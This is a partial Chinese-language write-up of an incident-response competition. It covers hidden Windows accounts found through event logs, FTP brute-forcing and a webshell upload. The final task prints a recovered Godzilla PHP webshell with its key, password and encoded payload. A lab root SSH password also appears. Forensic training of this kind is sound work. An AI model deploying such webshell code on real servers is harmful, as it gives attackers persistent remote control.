2025年Solar应急响应公益月赛-7月-部分wp

【任务1】应急大师

题目描述

请提交隐藏用户的名称？

创建用户账户的事件（Event ID: 4720）

4720，直接搜4720

及一个包，solar$

【任务2】应急大师

91人已解答

ikunikeceiLucifrix

题目描述

请提交黑客的IP地址？

分数

55.19 分

这里地址为，他登陆过受害机器，由于网站没有日志，就猜这个地址

【任务3】应急大师

96人已解答

StravvberryGourdboychaiLucifrix

题目描述

请提交黑客的一句话木马密码？

分数

69.14 分

upload下面就是

【任务4】应急大师

89人已解答

StravvberryGourdGuokeHHHXXX

题目描述

请提交黑客创建隐藏用户的TargetSid（目标账户安全ID）？

分数

70.53 分
刚刚创建用户的时候已经知道

【任务5】应急大师

82人已解答

StravvberryGourdHHHXXXLucifrix

题目描述

请提交黑客创建隐藏账户的事件（格式为年/月/日时:分:秒）？

分数

72.02 分

【任务6】应急大师

81人已解答

StravvberryGourdGuokeHHHXXX

题目描述

黑客将这个隐藏用户先后加入了哪几个用户组？提交格式为第一个用户组-第二个用户组，如student-teacher

分数

72.24 分

这里加入用户组的事件id为4732
筛选后2个

Users-Administrators

【任务7】应急大师

69人已解答

StravvberryGourdGuoken0o0b

题目描述

黑客通过远程桌面成功登陆系统管理员账号的网络地址及端口号？提交格式为 IP:PORT 如 127.0.0.1:41110

分数

75.08 分

加入用户组为7.23 17:06,成功登录id为4624

09分登录

【题目信息】公交车系统攻击事件排查

0人已解答

虚位以待虚位以待虚位以待

题目描述

思而听公交系统被黑客攻击，黑客通过web进行了攻击并获取了数据，然后获取了其中一位驾校师傅在FTP服务中的私密文件，其后黑客找到了任意文件上传漏洞进行了GETshell，控制了主机权限并植入了挖矿网页挖矿病毒，接下来你需要逐步排查。
注意：
流量中的21端口对应2121、80端口对应8090。
root的SSH密码为bussec123，第二个地址是SSH地址。
请勿在此提交FLAG，请前往具体任务提交，如【任务1】公交车系统攻击事件排查提交。

分数

0 分

任务2】公交车系统攻击事件排查

54人已解答

Guokedyzq1234St0rm

题目描述

黑客通过获取的用户名密码，利用密码复用技术，爆破了FTP服务，分析流量以后找到开放的FTP端口，并找到黑客登录成功后获取的私密文件，提交其文件中内容，提交格式：flag{xxx}

分数

179.14 分

端口2121

【任务3】公交车系统攻击事件排查

73人已解答

Guoke楚颖ikecei

题目描述

可恶的黑客找到了任意文件上传点，你需要分析日志和流量以及web开放的程序找到黑客上传的文件，提交木马使用的密码，提交格式：flag{password}

分数

248.19 分

有php的流量

直接找即可

是一个godzilla马

<?php
function encode($D,$K){
	for($i=0;$i<strlen($D);$i++){
		$c = $K[$i+1&15];
		$D[$i] = $D[$i]^$c;
	}
	return $D;
}
 
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
echo gzdecode(encode(base64_decode('fL1tMGI4YTljMUhl+1q6dXsAFwSID4m4QjulvhqntVGokAEvsN0xjfQ3iBq09ARXcZMtSlq0BXFZhV18f+ZhPrEUWJRLotW+dd+QOiIwqAiXL8doW810w2zmJJ92NFQAnMquxw0LhemW4dL0OmkbTABVJokDWAQFfRo7K0t+eaj9XUwTQeRvpBM5uW0oau0dns279iTPcXE4qr/wV2jPXMD/E3KeGFW3srGN9nFo7iC9CtzPhOleu92EvON72AMHa0puQaDO1ysCG11Lg7lD9iKw6AA3yTdnrAQg6f5tbzzVANIG2Y4autANFrhIyFHzwIxwyKZIHL0a6dLS5UF7CmBzM3/yyWay+E6LSMTvmID0/cJXzSdfZ/3M72euck8gfRqqrkxnnYnbyK1XbujcTp3Nuvv1B04mvnuwzElKiubo2XN/3OGGB7ZVe2EHVIoZApjtUoBk2v4k+fWkYZMKrVAahzYcdsUnku09IxU0p3xdjPNzLQw1JF/3dC6AKGikBK6t0+KZpvpdcDYtgA5pDmszGvDg10swCGTrx/GsEddXcliuwjGAKrMmYUNGiu9tLjdrDPy7XDJasDK738UEqxsYLp8/fRCAPdbrDoqPncKY86a3cuKSQhyNT0RVxbZ8zNnYAO8wjI2truoNzdGK9r4Ngj/cdVKJX4r459nbk/QSW37Jy39GCKGWNtZptezfv6vhiHBMZJutn/iqovSuxyaHXEIr2dJwQ/VMO5e4GMV2LGpohsIBLzrpODv+8QDfRFNFejFQXVfDfwGZUcOb8XMxxpvsuc47JXAjVMKAB+nPDzZXb6AmmIQjLY/SLJ+cWlgRTbBoppeE4OR1BSTHIH/N1b1v529/UyhPc7JVlbBS4xSyy7KpnF8gF+XuJeOvoRTpE+XqfU4rtRaPdj2ZqSsFsZH+GYzhZsGD64YuF7yGW36qv47F0LuwpnGe43hhwp/6alkqeHMFaaEWTwq2OL5UyGb47YZb1aFUKoS09jKxTVLU4OBKXxZEl9iZmgUxnrSCeKWwpeFMSMFLHJf4LhOaEgHDkaZSVavjHFit3Pj0zeBudI0HU6A/p6uqIROpsgYeteR7J4xYJRo4VuTrvt1W4ZEVoqcFUFLV0UqwHSEqTOzp7QXuSFrkNhvrU00Vmv842dEpK0ghtdNQo6/tgjMQdxg/QSwuR5nrKH+pgeAKv9ZkRZyHUI4CiHeldiyrrYGEaOgw7xRxUcQIbQYyK7RPzFD3TMlGm65uNIMo0MMlVMm+g/pq/5mtnLsmaDAgTwqPP3m/Xb4aex2A8nej4jnUCQbPbjsGSHNkYhUZIKHmh+RZRYOfCeMwVK7GDvtrS5IEsFsJLbb9FzHxqzjsPkSl3WqQjGizNoYF5CUIhSxwXrZC1W7Kb1Hy+/ZrDOMlpDds2KNxdh+nHJoP+BmImCoZsCTUtk9/V7xVjSK3cSYr/PfcabsgWx8BfRGpN9074adE8XU82seSWwd4GB//xvmIa2K7m7EN7zSE2EDuJNphlGBGMWsNtzZwDyAHgUhYuZjJmX9Ae0sINrMPEl2Rm1ORBhs5U5PnPXPv6X9CSIC1sAIXB/IXed3spGlJRkrKDJ0XSyVakEHjdujc2ltY27SiJL7bGSmVaHzfMO5RM5b3X7CVFTxcNcZYAUS5mioBMYazWtJVoGLjkT/JQuwcVXOx0IApFTWwWKUdb+NgNAnDSbaczxJ8rcUCboU3Tpjj1C6yv/Om+e3nzCHXtTI4Io0SY9rHfzwJEFQAsOfPYQs3gxcssgBRBPr0Btn7QLQe7K/ndlmJMWuIZOjt+WgqqsYdsE0BTX5zFuTYNIqpfUbPpqz0yVmq7TxgnmVuopVmLnsET1fJijo6oF87yTEAXQFSGYWYbkEcdD1I8xjqylMiiSuIFUcPNeCx0a0p6IBylcD4TGhVo54zLU+zU0ttOpwpA/T3KUM0YzE='),$key));
?>